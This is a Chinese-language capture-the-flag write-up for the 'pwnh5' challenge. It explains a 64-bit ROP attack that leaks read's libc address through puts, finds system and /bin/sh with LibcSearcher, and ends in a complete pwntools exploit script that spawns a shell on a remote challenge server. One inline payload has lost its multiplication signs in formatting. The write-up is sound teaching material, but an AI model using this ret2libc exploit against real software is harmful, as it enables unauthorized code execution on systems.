0%

攻防世界-pwnh5

我们知道 x86都是靠栈来传递参数的 而x64换了 它顺序是rdi, rsi, rdx, rcx, r8, r9, 如果多于6个参数 才会用栈 我们要先知道这个特性

这题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串,这题呢,我们可以利用put来泄露read函数的地址,然后再利用LibcSearcher查询可能的libc。

这题ROP,我们先构造payload来执行puts函数泄露read的地址
popedi是pop edi这条指令所在的地址,我们可以在二进制文件里查找,发现了地址0x400763处可以供我们使用,然后我们传入read的got地址,接下来是popedi的返回地址,我们设为putaddr,接下来是puts的返回地址,我们设为mainaddr,这样我们又能重新执行主函数,执行第二次rop
以下payload相当于

1
2
3
4
push read_addr 
pop edi
call puts
call main
1
payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainaddr) + 'a'*(0xC8-0x48-32)

这样,我们就泄露出了read的地址,然后我们利用libcSearcher搜索匹配到的可能的libc版本,从而获得system的地址和/bin/sh的地址

1
2
3
4
5
6
7
8
9
#libc数据库查询 
obj = LibcSearcher("read",addr)
#得到libc加载地址
libc_base = addr - obj.dump('read')
#获得system地址
system_addr = obj.dump("system") + libc_base

#获得/bin/sh地址
binsh_addr = obj.dump("str_bin_sh") + libc_base

然后我们构造payload
payload = ‘a’0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + ‘a’(0xC8-0x48-24)
相当于

1
2
3
push binsh_addr 
pop edi
call system

我们最终的脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf8 
from pwn import *
from LibcSearcher import *

elf = ELF('./pwnh5')
#x86都是靠栈来传递参数的 而x64换了 它顺序是rdi, rsi, rdx, rcx, r8, r9, 如果多于6个参数 才会用栈
readgot = elf.got['read']
putaddr = elf.sym['puts']
mainaddr = 0x4006B8
#pop edi的地址
popedi = 0x400763

#sh = process('./pwnh5')
sh = remote('111.198.29.45',52630)

#这个payload用于泄露read位于libc的地址
#pop edi将read的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖eip,这样我们又可以重新执行main函数了
payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainaddr) + 'a'*(0xC8-0x48-32)

sh.send(payload)

sh.recvuntil('bye~\n')


#注意,这步重要,必须要去掉末尾的\n符号
s = sh.recv().split('\n')[0]
#凑足长度8
for i in range(len(s),8):
s = s + '\x00'

#得到read的地址
addr = u64(s)

print hex(addr)

#libc数据库查询
obj = LibcSearcher("read",addr)

#得到libc加载地址
libc_base = addr - obj.dump('read')

#获得system地址
system_addr = obj.dump("system") + libc_base

#获得/bin/sh地址
binsh_addr = obj.dump("str_bin_sh") + libc_base


print hex(system_addr)
print hex(binsh_addr)

payload = 'a'*0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + 'a'*(0xC8-0x48-24)

sh.send(payload)

sh.interactive()